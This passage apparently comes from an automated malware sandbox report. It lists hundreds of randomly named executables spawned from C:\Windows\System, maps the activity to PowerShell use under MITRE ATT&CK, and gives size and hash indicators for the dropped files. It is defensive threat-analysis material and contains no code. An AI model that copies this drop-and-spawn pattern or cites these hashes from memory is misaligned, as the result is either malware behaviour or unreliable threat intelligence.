  C:\Windows\System\GvnRixl.exe
  2⤵
  PID:8376
- C:\Windows\System\jsyXRtr.exe
  C:\Windows\System\jsyXRtr.exe
  2⤵
  PID:8392
- C:\Windows\System\sJdlupS.exe
  C:\Windows\System\sJdlupS.exe
  2⤵
  PID:8408
- C:\Windows\System\bycaYfl.exe
  C:\Windows\System\bycaYfl.exe
  2⤵
  PID:8424
- C:\Windows\System\lmQTUpl.exe
  C:\Windows\System\lmQTUpl.exe
  2⤵
  PID:8440
- C:\Windows\System\ZXmSMml.exe
  C:\Windows\System\ZXmSMml.exe
  2⤵
  PID:8456
- C:\Windows\System\fZfYiCP.exe
  C:\Windows\System\fZfYiCP.exe
  2⤵
  PID:8472
- C:\Windows\System\AdTXXGs.exe
  C:\Windows\System\AdTXXGs.exe
  2⤵
  PID:8488
- C:\Windows\System\XRdOXTm.exe
  C:\Windows\System\XRdOXTm.exe
  2⤵
  PID:8504
- C:\Windows\System\QiJWMJl.exe
  C:\Windows\System\QiJWMJl.exe
  2⤵
  PID:8520
- C:\Windows\System\fEujOwN.exe
  C:\Windows\System\fEujOwN.exe
  2⤵
  PID:8536
- C:\Windows\System\BqxPeWA.exe
  C:\Windows\System\BqxPeWA.exe
  2⤵
  PID:8552
- C:\Windows\System\WTmfsgj.exe
  C:\Windows\System\WTmfsgj.exe
  2⤵
  PID:8568
- C:\Windows\System\LjKMzHF.exe
  C:\Windows\System\LjKMzHF.exe
  2⤵
  PID:8584
- C:\Windows\System\eWcGLTL.exe
  C:\Windows\System\eWcGLTL.exe
  2⤵
  PID:8600
- C:\Windows\System\VwoXgor.exe
  C:\Windows\System\VwoXgor.exe
  2⤵
  PID:8616
- C:\Windows\System\BNcDEVu.exe
  C:\Windows\System\BNcDEVu.exe
  2⤵
  PID:8632
- C:\Windows\System\jTOXxuU.exe
  C:\Windows\System\jTOXxuU.exe
  2⤵
  PID:8648
- C:\Windows\System\ImdiTsT.exe
  C:\Windows\System\ImdiTsT.exe
  2⤵
  PID:8664
- C:\Windows\System\feDFCAp.exe
  C:\Windows\System\feDFCAp.exe
  2⤵
  PID:8680
- C:\Windows\System\ztbsSGT.exe
  C:\Windows\System\ztbsSGT.exe
  2⤵
  PID:8696
- C:\Windows\System\bbejiFT.exe
  C:\Windows\System\bbejiFT.exe
  2⤵
  PID:8712
- C:\Windows\System\vQfGzqJ.exe
  C:\Windows\System\vQfGzqJ.exe
  2⤵
  PID:8728
- C:\Windows\System\pcdWnXG.exe
  C:\Windows\System\pcdWnXG.exe
  2⤵
  PID:8744
- C:\Windows\System\hCiwquA.exe
  C:\Windows\System\hCiwquA.exe
  2⤵
  PID:8760
- C:\Windows\System\wcHSKLz.exe
  C:\Windows\System\wcHSKLz.exe
  2⤵
  PID:8776
- C:\Windows\System\MMYtYds.exe
  C:\Windows\System\MMYtYds.exe
  2⤵
  PID:8792
- C:\Windows\System\iaNqAtF.exe
  C:\Windows\System\iaNqAtF.exe
  2⤵
  PID:8808
- C:\Windows\System\ietlEpV.exe
  C:\Windows\System\ietlEpV.exe
  2⤵
  PID:8824
- C:\Windows\System\fePoQme.exe
  C:\Windows\System\fePoQme.exe
  2⤵
  PID:8840
- C:\Windows\System\jcTEiSd.exe
  C:\Windows\System\jcTEiSd.exe
  2⤵
  PID:8856
- C:\Windows\System\KbqMowD.exe
  C:\Windows\System\KbqMowD.exe
  2⤵
  PID:8872
- C:\Windows\System\DHTkCTR.exe
  C:\Windows\System\DHTkCTR.exe
  2⤵
  PID:8888
- C:\Windows\System\KgqwKZr.exe
  C:\Windows\System\KgqwKZr.exe
  2⤵
  PID:8904
- C:\Windows\System\cyKTzPz.exe
  C:\Windows\System\cyKTzPz.exe
  2⤵
  PID:8920
- C:\Windows\System\jeUiYfe.exe
  C:\Windows\System\jeUiYfe.exe
  2⤵
  PID:8936
- C:\Windows\System\DnCjhXc.exe
  C:\Windows\System\DnCjhXc.exe
  2⤵
  PID:8952
- C:\Windows\System\uLFdENK.exe
  C:\Windows\System\uLFdENK.exe
  2⤵
  PID:8968
- C:\Windows\System\eOsdOgt.exe
  C:\Windows\System\eOsdOgt.exe
  2⤵
  PID:8984
- C:\Windows\System\mLTOVFQ.exe
  C:\Windows\System\mLTOVFQ.exe
  2⤵
  PID:9000
- C:\Windows\System\dshcqFB.exe
  C:\Windows\System\dshcqFB.exe
  2⤵
  PID:9016
- C:\Windows\System\yeQtPcS.exe
  C:\Windows\System\yeQtPcS.exe
  2⤵
  PID:9032
- C:\Windows\System\FbrCcIX.exe
  C:\Windows\System\FbrCcIX.exe
  2⤵
  PID:9048
- C:\Windows\System\DiSLLIQ.exe
  C:\Windows\System\DiSLLIQ.exe
  2⤵
  PID:9064
- C:\Windows\System\iPlJXMb.exe
  C:\Windows\System\iPlJXMb.exe
  2⤵
  PID:9080
- C:\Windows\System\wIWBCVK.exe
  C:\Windows\System\wIWBCVK.exe
  2⤵
  PID:9096
- C:\Windows\System\xrNHmib.exe
  C:\Windows\System\xrNHmib.exe
  2⤵
  PID:9112
- C:\Windows\System\oXfTrcA.exe
  C:\Windows\System\oXfTrcA.exe
  2⤵
  PID:9128
- C:\Windows\System\LgJJgsd.exe
  C:\Windows\System\LgJJgsd.exe
  2⤵
  PID:9144
- C:\Windows\System\HJmlKIm.exe
  C:\Windows\System\HJmlKIm.exe
  2⤵
  PID:9160
- C:\Windows\System\jBUOfrw.exe
  C:\Windows\System\jBUOfrw.exe
  2⤵
  PID:9176
- C:\Windows\System\ZQLSkBk.exe
  C:\Windows\System\ZQLSkBk.exe
  2⤵
  PID:9192
- C:\Windows\System\NLNqAjk.exe
  C:\Windows\System\NLNqAjk.exe
  2⤵
  PID:9208
- C:\Windows\System\moRLgJr.exe
  C:\Windows\System\moRLgJr.exe
  2⤵
  PID:8208
- C:\Windows\System\vNURZRV.exe
  C:\Windows\System\vNURZRV.exe
  2⤵
  PID:7428
- C:\Windows\System\CTkYIPo.exe
  C:\Windows\System\CTkYIPo.exe
  2⤵
  PID:8196
- C:\Windows\System\MSEDFcH.exe
  C:\Windows\System\MSEDFcH.exe
  2⤵
  PID:8256
- C:\Windows\System\jJubejK.exe
  C:\Windows\System\jJubejK.exe
  2⤵
  PID:8260
- C:\Windows\System\jZpkoKV.exe
  C:\Windows\System\jZpkoKV.exe
  2⤵
  PID:8340
- C:\Windows\System\aFRQjFn.exe
  C:\Windows\System\aFRQjFn.exe
  2⤵
  PID:8400
- C:\Windows\System\EPuBlAO.exe
  C:\Windows\System\EPuBlAO.exe
  2⤵
  PID:8464
- C:\Windows\System\uZlekhs.exe
  C:\Windows\System\uZlekhs.exe
  2⤵
  PID:8528
- C:\Windows\System\ZcVHQnN.exe
  C:\Windows\System\ZcVHQnN.exe
  2⤵
  PID:8320
- C:\Windows\System\GXSfEdP.exe
  C:\Windows\System\GXSfEdP.exe
  2⤵
  PID:8592
- C:\Windows\System\aOXCXOm.exe
  C:\Windows\System\aOXCXOm.exe
  2⤵
  PID:8416
- C:\Windows\System\XCGKNRI.exe
  C:\Windows\System\XCGKNRI.exe
  2⤵
  PID:8512
- C:\Windows\System\UESbtdf.exe
  C:\Windows\System\UESbtdf.exe
  2⤵
  PID:8516
- C:\Windows\System\KsrTUwa.exe
  C:\Windows\System\KsrTUwa.exe
  2⤵
  PID:8656
- C:\Windows\System\OacfPcM.exe
  C:\Windows\System\OacfPcM.exe
  2⤵
  PID:8640
- C:\Windows\System\APBKReJ.exe
  C:\Windows\System\APBKReJ.exe
  2⤵
  PID:8692
- C:\Windows\System\LcGdWcZ.exe
  C:\Windows\System\LcGdWcZ.exe
  2⤵
  PID:8756
- C:\Windows\System\eLAKJBe.exe
  C:\Windows\System\eLAKJBe.exe
  2⤵
  PID:8708
- C:\Windows\System\ZDOBrae.exe
  C:\Windows\System\ZDOBrae.exe
  2⤵
  PID:8852
- C:\Windows\System\PVhdOtN.exe
  C:\Windows\System\PVhdOtN.exe
  2⤵
  PID:8916
- C:\Windows\System\ZtRGFtf.exe
  C:\Windows\System\ZtRGFtf.exe
  2⤵
  PID:8736
- C:\Windows\System\EnspyZu.exe
  C:\Windows\System\EnspyZu.exe
  2⤵
  PID:8672
- C:\Windows\System\oWtYQIG.exe
  C:\Windows\System\oWtYQIG.exe
  2⤵
  PID:8832
- C:\Windows\System\oGzFHmG.exe
  C:\Windows\System\oGzFHmG.exe
  2⤵
  PID:9040
- C:\Windows\System\xQHjirN.exe
  C:\Windows\System\xQHjirN.exe
  2⤵
  PID:8964
- C:\Windows\System\rArOjEa.exe
  C:\Windows\System\rArOjEa.exe
  2⤵
  PID:9140
- C:\Windows\System\kBOfMZc.exe
  C:\Windows\System\kBOfMZc.exe
  2⤵
  PID:9204
- C:\Windows\System\zIREUsA.exe
  C:\Windows\System\zIREUsA.exe
  2⤵
  PID:8768
- C:\Windows\System\nZgyxWS.exe
  C:\Windows\System\nZgyxWS.exe
  2⤵
  PID:8336
- C:\Windows\System\kxMaNgQ.exe
  C:\Windows\System\kxMaNgQ.exe
  2⤵
  PID:8432
- C:\Windows\System\iAVdYxf.exe
  C:\Windows\System\iAVdYxf.exe
  2⤵
  PID:8932
- C:\Windows\System\IjGyydp.exe
  C:\Windows\System\IjGyydp.exe
  2⤵
  PID:8996
- C:\Windows\System\AQshQyA.exe
  C:\Windows\System\AQshQyA.exe
  2⤵
  PID:9060
- C:\Windows\System\ADuMGFN.exe
  C:\Windows\System\ADuMGFN.exe
  2⤵
  PID:9152
- C:\Windows\System\TlmcJYn.exe
  C:\Windows\System\TlmcJYn.exe
  2⤵
  PID:7264
- C:\Windows\System\fHiwtrS.exe
  C:\Windows\System\fHiwtrS.exe
  2⤵
  PID:8272
- C:\Windows\System\LIUeSsq.exe
  C:\Windows\System\LIUeSsq.exe
  2⤵
  PID:8496
- C:\Windows\System\PzlSbOB.exe
  C:\Windows\System\PzlSbOB.exe
  2⤵
  PID:8564
- C:\Windows\System\bkisTKD.exe
  C:\Windows\System\bkisTKD.exe
  2⤵
  PID:8576
- C:\Windows\System\gnDJoNK.exe
  C:\Windows\System\gnDJoNK.exe
  2⤵
  PID:8480
- C:\Windows\System\TWyDOXE.exe
  C:\Windows\System\TWyDOXE.exe
  2⤵
  PID:8688
- C:\Windows\System\AbMvLzF.exe
  C:\Windows\System\AbMvLzF.exe
  2⤵
  PID:8912
- C:\Windows\System\KKchvQA.exe
  C:\Windows\System\KKchvQA.exe
  2⤵
  PID:8772
- C:\Windows\System\jzIwTmT.exe
  C:\Windows\System\jzIwTmT.exe
  2⤵
  PID:9108
- C:\Windows\System\huxLXyj.exe
  C:\Windows\System\huxLXyj.exe
  2⤵
  PID:8624
- C:\Windows\System\pYdUokk.exe
  C:\Windows\System\pYdUokk.exe
  2⤵
  PID:8848
- C:\Windows\System\uvbSfJY.exe
  C:\Windows\System\uvbSfJY.exe
  2⤵
  PID:9200
- C:\Windows\System\rXRltKV.exe
  C:\Windows\System\rXRltKV.exe
  2⤵
  PID:8308
- C:\Windows\System\rjrwMwn.exe
  C:\Windows\System\rjrwMwn.exe
  2⤵
  PID:8896
- C:\Windows\System\YdKevJd.exe
  C:\Windows\System\YdKevJd.exe
  2⤵
  PID:9056
- C:\Windows\System\wbpufFp.exe
  C:\Windows\System\wbpufFp.exe
  2⤵
  PID:9120
- C:\Windows\System\DzMcIIj.exe
  C:\Windows\System\DzMcIIj.exe
  2⤵
  PID:8372
- C:\Windows\System\nrWRahx.exe
  C:\Windows\System\nrWRahx.exe
  2⤵
  PID:8448
- C:\Windows\System\QcMmllj.exe
  C:\Windows\System\QcMmllj.exe
  2⤵
  PID:8752
- C:\Windows\System\YmWLsFq.exe
  C:\Windows\System\YmWLsFq.exe
  2⤵
  PID:8884
- C:\Windows\System\nNKgQqT.exe
  C:\Windows\System\nNKgQqT.exe
  2⤵
  PID:8820
- C:\Windows\System\nhFgAWR.exe
  C:\Windows\System\nhFgAWR.exe
  2⤵
  PID:8804
- C:\Windows\System\wZWpUrQ.exe
  C:\Windows\System\wZWpUrQ.exe
  2⤵
  PID:7540
- C:\Windows\System\wkYEkdS.exe
  C:\Windows\System\wkYEkdS.exe
  2⤵
  PID:8928
- C:\Windows\System\evzaGfp.exe
  C:\Windows\System\evzaGfp.exe
  2⤵
  PID:9188
- C:\Windows\System\OcBDqPG.exe
  C:\Windows\System\OcBDqPG.exe
  2⤵
  PID:8352
- C:\Windows\System\JSVrDFl.exe
  C:\Windows\System\JSVrDFl.exe
  2⤵
  PID:9136
- C:\Windows\System\ilvholR.exe
  C:\Windows\System\ilvholR.exe
  2⤵
  PID:9228
- C:\Windows\System\BkuijdP.exe
  C:\Windows\System\BkuijdP.exe
  2⤵
  PID:9244
- C:\Windows\System\ylfmQTo.exe
  C:\Windows\System\ylfmQTo.exe
  2⤵
  PID:9260
- C:\Windows\System\RnfDQLJ.exe
  C:\Windows\System\RnfDQLJ.exe
  2⤵
  PID:9276
- C:\Windows\System\ujHtyJb.exe
  C:\Windows\System\ujHtyJb.exe
  2⤵
  PID:9292
- C:\Windows\System\MbWlQCX.exe
  C:\Windows\System\MbWlQCX.exe
  2⤵
  PID:9308
- C:\Windows\System\ADyfhpJ.exe
  C:\Windows\System\ADyfhpJ.exe
  2⤵
  PID:9328
- C:\Windows\System\kjkNjsH.exe
  C:\Windows\System\kjkNjsH.exe
  2⤵
  PID:9344
- C:\Windows\System\laBJWPj.exe
  C:\Windows\System\laBJWPj.exe
  2⤵
  PID:9360
- C:\Windows\System\YzcgKHZ.exe
  C:\Windows\System\YzcgKHZ.exe
  2⤵
  PID:9376
- C:\Windows\System\wxJqYYC.exe
  C:\Windows\System\wxJqYYC.exe
  2⤵
  PID:9392
- C:\Windows\System\qagItPC.exe
  C:\Windows\System\qagItPC.exe
  2⤵
  PID:9408
- C:\Windows\System\shOysEv.exe
  C:\Windows\System\shOysEv.exe
  2⤵
  PID:9424
- C:\Windows\System\MVjjTUQ.exe
  C:\Windows\System\MVjjTUQ.exe
  2⤵
  PID:9440
- C:\Windows\System\IRzoNRu.exe
  C:\Windows\System\IRzoNRu.exe
  2⤵
  PID:9456
- C:\Windows\System\fhFejdr.exe
  C:\Windows\System\fhFejdr.exe
  2⤵
  PID:9472
- C:\Windows\System\roJVIet.exe
  C:\Windows\System\roJVIet.exe
  2⤵
  PID:9488
- C:\Windows\System\cqKDacq.exe
  C:\Windows\System\cqKDacq.exe
  2⤵
  PID:9504
- C:\Windows\System\NHhWRfv.exe
  C:\Windows\System\NHhWRfv.exe
  2⤵
  PID:9520
- C:\Windows\System\zqtqQay.exe
  C:\Windows\System\zqtqQay.exe
  2⤵
  PID:9536
- C:\Windows\System\JsWNONq.exe
  C:\Windows\System\JsWNONq.exe
  2⤵
  PID:9552
- C:\Windows\System\pFlnSxz.exe
  C:\Windows\System\pFlnSxz.exe
  2⤵
  PID:9568
- C:\Windows\System\RQBUjWP.exe
  C:\Windows\System\RQBUjWP.exe
  2⤵
  PID:9584
- C:\Windows\System\mTCDOQu.exe
  C:\Windows\System\mTCDOQu.exe
  2⤵
  PID:9600
- C:\Windows\System\aFETGTc.exe
  C:\Windows\System\aFETGTc.exe
  2⤵
  PID:9616
- C:\Windows\System\PIDNraH.exe
  C:\Windows\System\PIDNraH.exe
  2⤵
  PID:9632
- C:\Windows\System\qGwwsYF.exe
  C:\Windows\System\qGwwsYF.exe
  2⤵
  PID:9648
- C:\Windows\System\ewOELfD.exe
  C:\Windows\System\ewOELfD.exe
  2⤵
  PID:9664
- C:\Windows\System\sxCqsiv.exe
  C:\Windows\System\sxCqsiv.exe
  2⤵
  PID:9680
- C:\Windows\System\GWQzJhH.exe
  C:\Windows\System\GWQzJhH.exe
  2⤵
  PID:9696
- C:\Windows\System\WJPBZsA.exe
  C:\Windows\System\WJPBZsA.exe
  2⤵
  PID:9712
- C:\Windows\System\ornzDcz.exe
  C:\Windows\System\ornzDcz.exe
  2⤵
  PID:9728
- C:\Windows\System\RYbjzky.exe
  C:\Windows\System\RYbjzky.exe
  2⤵
  PID:9744
- C:\Windows\System\KLlahVI.exe
  C:\Windows\System\KLlahVI.exe
  2⤵
  PID:9760
- C:\Windows\System\IGHYZSE.exe
  C:\Windows\System\IGHYZSE.exe
  2⤵
  PID:9776
- C:\Windows\System\eTnZObK.exe
  C:\Windows\System\eTnZObK.exe
  2⤵
  PID:9792
- C:\Windows\System\mERDYwz.exe
  C:\Windows\System\mERDYwz.exe
  2⤵
  PID:9808
- C:\Windows\System\hUeFhps.exe
  C:\Windows\System\hUeFhps.exe
  2⤵
  PID:9824
- C:\Windows\System\yIwcpZY.exe
  C:\Windows\System\yIwcpZY.exe
  2⤵
  PID:9840
- C:\Windows\System\aCIusAl.exe
  C:\Windows\System\aCIusAl.exe
  2⤵
  PID:9856
- C:\Windows\System\nHvUBzH.exe
  C:\Windows\System\nHvUBzH.exe
  2⤵
  PID:9872
- C:\Windows\System\jylNAJz.exe
  C:\Windows\System\jylNAJz.exe
  2⤵
  PID:9888
- C:\Windows\System\oiOBJWQ.exe
  C:\Windows\System\oiOBJWQ.exe
  2⤵
  PID:9908
- C:\Windows\System\yYGbTQu.exe
  C:\Windows\System\yYGbTQu.exe
  2⤵
  PID:9924
- C:\Windows\System\XEEFHuH.exe
  C:\Windows\System\XEEFHuH.exe
  2⤵
  PID:9940
- C:\Windows\System\ryHPRTb.exe
  C:\Windows\System\ryHPRTb.exe
  2⤵
  PID:9956
- C:\Windows\System\obIMkTV.exe
  C:\Windows\System\obIMkTV.exe
  2⤵
  PID:9972
- C:\Windows\System\QwAnLGY.exe
  C:\Windows\System\QwAnLGY.exe
  2⤵
  PID:9988
- C:\Windows\System\wTYjTmS.exe
  C:\Windows\System\wTYjTmS.exe
  2⤵
  PID:10004
- C:\Windows\System\mxwmREw.exe
  C:\Windows\System\mxwmREw.exe
  2⤵
  PID:10020
- C:\Windows\System\hEZvBNC.exe
  C:\Windows\System\hEZvBNC.exe
  2⤵
  PID:10036
- C:\Windows\System\hwZUPdp.exe
  C:\Windows\System\hwZUPdp.exe
  2⤵
  PID:10052
- C:\Windows\System\IplUsvG.exe
  C:\Windows\System\IplUsvG.exe
  2⤵
  PID:10068
- C:\Windows\System\netFvMO.exe
  C:\Windows\System\netFvMO.exe
  2⤵
  PID:10084
- C:\Windows\System\uEOJOdS.exe
  C:\Windows\System\uEOJOdS.exe
  2⤵
  PID:10100
- C:\Windows\System\KWuuzrH.exe
  C:\Windows\System\KWuuzrH.exe
  2⤵
  PID:10120
- C:\Windows\System\lDPjbyf.exe
  C:\Windows\System\lDPjbyf.exe
  2⤵
  PID:10136
- C:\Windows\System\DUhSpdR.exe
  C:\Windows\System\DUhSpdR.exe
  2⤵
  PID:10152
- C:\Windows\System\bnfSTkK.exe
  C:\Windows\System\bnfSTkK.exe
  2⤵
  PID:10168
- C:\Windows\System\gRaCfGG.exe
  C:\Windows\System\gRaCfGG.exe
  2⤵
  PID:10184
- C:\Windows\System\zXysMPo.exe
  C:\Windows\System\zXysMPo.exe
  2⤵
  PID:10200
- C:\Windows\System\tuMCcaw.exe
  C:\Windows\System\tuMCcaw.exe
  2⤵
  PID:10216
- C:\Windows\System\ZgTrimE.exe
  C:\Windows\System\ZgTrimE.exe
  2⤵
  PID:10232
- C:\Windows\System\zMGoNCa.exe
  C:\Windows\System\zMGoNCa.exe
  2⤵
  PID:9012
- C:\Windows\System\OXhqiEW.exe
  C:\Windows\System\OXhqiEW.exe
  2⤵
  PID:8724
- C:\Windows\System\HfetzmE.exe
  C:\Windows\System\HfetzmE.exe
  2⤵
  PID:9224
- C:\Windows\System\mJyHjDs.exe
  C:\Windows\System\mJyHjDs.exe
  2⤵
  PID:9172
- C:\Windows\System\HbGJNWm.exe
  C:\Windows\System\HbGJNWm.exe
  2⤵
  PID:9288
- C:\Windows\System\qrqfLcr.exe
  C:\Windows\System\qrqfLcr.exe
  2⤵
  PID:8384
- C:\Windows\System\YOGErMS.exe
  C:\Windows\System\YOGErMS.exe
  2⤵
  PID:9368
- C:\Windows\System\guvYPOc.exe
  C:\Windows\System\guvYPOc.exe
  2⤵
  PID:9352
- C:\Windows\System\HAivrYQ.exe
  C:\Windows\System\HAivrYQ.exe
  2⤵
  PID:9416
- C:\Windows\System\pxRmwBL.exe
  C:\Windows\System\pxRmwBL.exe
  2⤵
  PID:9448
- C:\Windows\System\roufrhW.exe
  C:\Windows\System\roufrhW.exe
  2⤵
  PID:9496
- C:\Windows\System\oVDoLTk.exe
  C:\Windows\System\oVDoLTk.exe
  2⤵
  PID:9512
- C:\Windows\System\eJLnNQI.exe
  C:\Windows\System\eJLnNQI.exe
  2⤵
  PID:9528
- C:\Windows\System\oXDrdPY.exe
  C:\Windows\System\oXDrdPY.exe
  2⤵
  PID:9592
- C:\Windows\System\whojOmD.exe
  C:\Windows\System\whojOmD.exe
  2⤵
  PID:9596
- C:\Windows\System\gqZXzYE.exe
  C:\Windows\System\gqZXzYE.exe
  2⤵
  PID:9628
- C:\Windows\System\ZmGkqMc.exe
  C:\Windows\System\ZmGkqMc.exe
  2⤵
  PID:9656
- C:\Windows\System\bvfhLKF.exe
  C:\Windows\System\bvfhLKF.exe
  2⤵
  PID:9724
- C:\Windows\System\qkCLKbr.exe
  C:\Windows\System\qkCLKbr.exe
  2⤵
  PID:9756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\GjMeOcC.exe

Filesize
1.9MB

MD5
782e8316752d0e69d9b94d3e566b6335

SHA1
94532556bff9c3d4c1ae68970e1b5baf6b273a27

SHA256
674c3eec1802dff910b90bb77003605d697587a595b128660cad7d70c0065cf0

SHA512
84695214c554cc31c65d9e1672b62aa0450f5659eb3aae49a79269d38931f06fcb08258c9e6e6112e6f46eeaa41de6db6a64c42bd00ce2c9d56032d8a9e33aea

Download Submit
C:\Windows\system\HVwOrTn.exe

Filesize
1.9MB

MD5
bba3a51d73652fe21ceb9faee389956a

SHA1
384e4e569ae969c05278d4cb312dd924470bf821

SHA256
377d9dc117aacd824f1298d93192fe320a5282aa4b9f14592948d95671ffd1f4

SHA512
bd1d632d0e766118a63943e3d653f9672442e3bb68660e7e270fc1a9c80d76c8c13db228e277b60b2e0a78ad0831457235f5bbc735a99e4da777f12e0bb1c689

Download Submit
C:\Windows\system\LHxZrlk.exe

Filesize
1.9MB

MD5
a6335d96291017bd315cb25672ce54f1

SHA1
d7271e255e058689924c00d579d42a53897a1eb4

SHA256
d3a9320318ce7ac4a9e23fdefe97bbe8139de1a33c0a234428182870bb6c5efc

SHA512
0b8e9d9593ad99077a7fc284e4f04b8f5dc7595bc76ab69ec56ac1e58834a3a5b299e99bb3078b231df720865993afea8a3210126c9ce7d6b6b0dba48e2af38f

Download Submit
C:\Windows\system\PKoWJEF.exe

Filesize
1.9MB

MD5
90793254fe15a72a0940af540c9dcddc

SHA1
790f228e41fd1a3ee98ebea5250bfbd2270b7623

SHA256
af2dbe814960ef7449955d650878a9e8e75abd6fd6288c6cfb610295c430a51a

SHA512
8e8eba5b4fb776e0050d0460fa18426dbe1b6f0a8e5baea69b520f003f16ef58e9c4830973ea6fad8cb42bdd0d6ed32e0ff678e2ae4a88083b5f158ab550b29e

Download Submit
C:\Windows\system\PZvdepJ.exe

Filesize
1.9MB

MD5
d9b692899fbbb585cf90245c980e298c

SHA1
05c3e1a4a4a9c4073cea64148e7b5a38ba14dda3

SHA256
dd83e88bdd575216cf97329552c7dc3769fa52c517a5d85b2dace4d68a571975

SHA512
c3d626f3e824db2f9fe8450469f99f2778e5d76117692a2b0be41c2fd77012e5fbfc5011723f8842d46b64b60477eb8294e4c61b422c6da6cc0d873e2bb3a1cb

Download Submit
C:\Windows\system\PfgRQPz.exe

Filesize
1.9MB

MD5
22adadc6b16c27b005ba40a0a9cd66a8

SHA1
91448bf690fbe42e3fd3308d425ae2d247c970ea

SHA256
85ec4f1932372f35a8b660e91a1de792bff24b4f5eda8e4629cb4b9c23fb3b95

SHA512
3a36a386fae7b00db8d9f58a7f18ae7c37014b428e6f623ad2aeaeee951943431575927619eb892685a13378b972d4a681c1355e5dc5c3ec56928fd64facc451

Download Submit
C:\Windows\system\QYNRsZI.exe

Filesize
1.9MB

MD5
02ff41329535d17f6281f58cc2c9e681

SHA1
934d8e07e3c5eb98ee720cdd782f8ccd595eaa92

SHA256
78dd1bcb228b636f0cbf82a987595f83833a18c4dfb586be8050d04e94c179a8

SHA512
82cdc5e426e8a4e428163ddf601a350d9d3e98dfa471244e55cdd4be10806d51265f83b04a0d866ceac326f12e47bc8c9c57cee74ae245b886236f6e4540e1d7

Download Submit
C:\Windows\system\REhtQRm.exe

Filesize
1.9MB

MD5
b7e27ea13e18308a653d3bd93e7e3ca7

SHA1
662ab24652d074c919c8a138a16b9f8e2a16c4f4

SHA256
7c31aca8aa17517720074b4d8f6188b5c777c91eecc9115c22bb8747a78b4fc8

SHA512
0c6985f6d052c06c3edec5c6952416141f57edb3cbf41b4ea61a4bafb0cb05db6253f770f911cfddf4d546c639fa2affa57e0535ca3a96b5c8b474cd1aa5c5bd

Download Submit
C:\Windows\system\Rqpeknv.exe

Filesize
1.9MB

MD5
6300b90d219f42dc05a616f2ce2eaa2d

SHA1
17143b2a495d1eb9367642644e4414f72ca5eb23

SHA256
159fc0589a1c561e633bdc5e0f287af5c1b010a75a697e396d3200761974a47b

SHA512
6d8849af2e31a97b5c818cca1fae9a3acfd17ba99f1d2ea6defd9706dc66f59cd848aab5698bfdc0d8c8c3e62092ab0d4875195633e6030ac1aa1ec99073451e

Download Submit
C:\Windows\system\SDQmiMt.exe

Filesize
1.9MB

MD5
033313d888a3ef7cd62eb74ecf01c1c7

SHA1
80b9050aff50cacacc161ae933f361843f0e4eb2

SHA256
0c783deac1c09f398a3b6b4ca3062671de4b6f19e93c4c58fe0d30d68bfecc20

SHA512
357e9503fbcb107a8eb5aab7916962febb13607653e0f7048564908f07b1088828e305837b670954e58b905de9c0a1cbb3da9d183343e9f474c393cd5c44f56f

Download Submit
C:\Windows\system\TPOxhPH.exe

Filesize
1.9MB

MD5
d9c8e703f1160108a1f2975cb040e691

SHA1
88c13fc95d5bb73a7286550394390eb4e5de131d

SHA256
e85bee91a167e9cc22e4b61b4026af9277a545a8936f014915b510d26919d836

SHA512
d45ae73b9c412db0b4fb68a98040b2c2616e289fd5a1c4db80db283135614a5903b4cacc056461a4a238f91feee64632b5b7d04815d60f10a41255271b41329f

Download Submit
C:\Windows\system\XKLTrxD.exe

Filesize
1.9MB

MD5
e0dc603b340211f7faadb0e4372fedfc

SHA1
ea9c7d0d2f98265f88a2f25ee68b3052a6a7e786

SHA256
fbf6dc39b8342223444c28e0348a14fcf7be4cfa55d5a1ad49499c78e49b6445

SHA512
5fa31143af9c6a0259413420530c56405b62cbcd057c676b9b2e67944f991c2b2716c3a01e07dd81962334b825ec3ea9875df6e799c0804d8ece484b87c389dc

Download Submit
C:\Windows\system\YUaKsuL.exe

Filesize
1.9MB

MD5
49aa702764970f9ba838254f16b5af6c

SHA1
4f8dbdce416c7934ea83c3822ea3b115e7277f9e

SHA256
509f8b804d03aa73a80a0b327ab704c3b5d49b0f584d245d3b2a06fc144b39b1

SHA512
12a4557f7871ea53245344b31acfcf3939b056b0f30ea1d8e5d6e4d961f3e6cddd134467b4885c6d8f7447b3b1241c97b42faea6fdc98e27cceaf733e9776662

Download Submit
C:\Windows\system\dobdAaB.exe

Filesize
1.9MB

MD5
111a9a847121aadd3e8da3c0ec35c911

SHA1
23b5b4a7278e5b443ac6aef94c78f24e7b102b58

SHA256
a7a0b65e23bb8f2706e566c48d5c4551c47854336f2d57b0834ae14f824d9bc5

SHA512
014640253d97ad4c60c0d75fc1a5395111164b19b3187c1d5d72e5bd2fe1e860f77fbecc1e769c407451dbfd6f948ede63b56831b1336bb2f82d14cd50afa8d0

Download Submit
C:\Windows\system\fryOFlX.exe

Filesize
1.9MB

MD5
5f421bb05c38676cfcb0ea9015f995c0

SHA1
de28cd7aa1367bb84ff3ff2381b231a86b37862b

SHA256
6fbba7aff7aad755be5f7ca6b716a3dd6e9b8bc7fd41d3d4902c5b4652facdb0

SHA512
3c9a018dd140ce63ee449a93953627fd749127c261e35533c73986fdf524101337b5766d13ef52dfb78812fb1375964fa5b562894e51fc087bb26882dce10111

Download Submit
C:\Windows\system\jLIUWQu.exe

Filesize
1.9MB

MD5
341a796ac46ee740ae16bd1bfd198311

SHA1
445e367a19a8882b2871de71d890bf6fb0355e65

SHA256
ec03d21bfff3848ed33223006888d2bcbe4ee40f0f6d217dde9ff7dd5b8176da

SHA512
675387cc6228da8a90a4c246f06fca97f838d010da5629558ce167b9f6129f0a5b0c01b13c5101f34d4e63153a19608a7c4e70595bf877a2489e565a24074fb5

Download Submit
C:\Windows\system\nJHACLg.exe

Filesize
1.9MB

MD5
d5df3b0ddd2e092fe452f906e06be1f5

SHA1
b111108259ab8a04a9299fc440ab189ee4e2b230

SHA256
5ae883fd0883b7053196094fcf185dc201fd88c3d4a8c823fbbca1d1ab000845

SHA512
1aa5878c23af6e664889d87a6ae578e7b5922d12b9803166304036e6049042f22cdcb34e041232db25c03072908ccc56dc528bd1a28b1ada01f68e798e83f8cb

Download Submit
C:\Windows\system\nQrqpxO.exe

Filesize
1.9MB

MD5
2b8fd300918f9b0df69d5ce30e923a3a

SHA1
b8f57a7013f678043c9df2900da5cdca1691745b

SHA256
95f87b750cc5c11e0a788c832aca354b28f565dc809a472ba97d3dbc24364222

SHA512
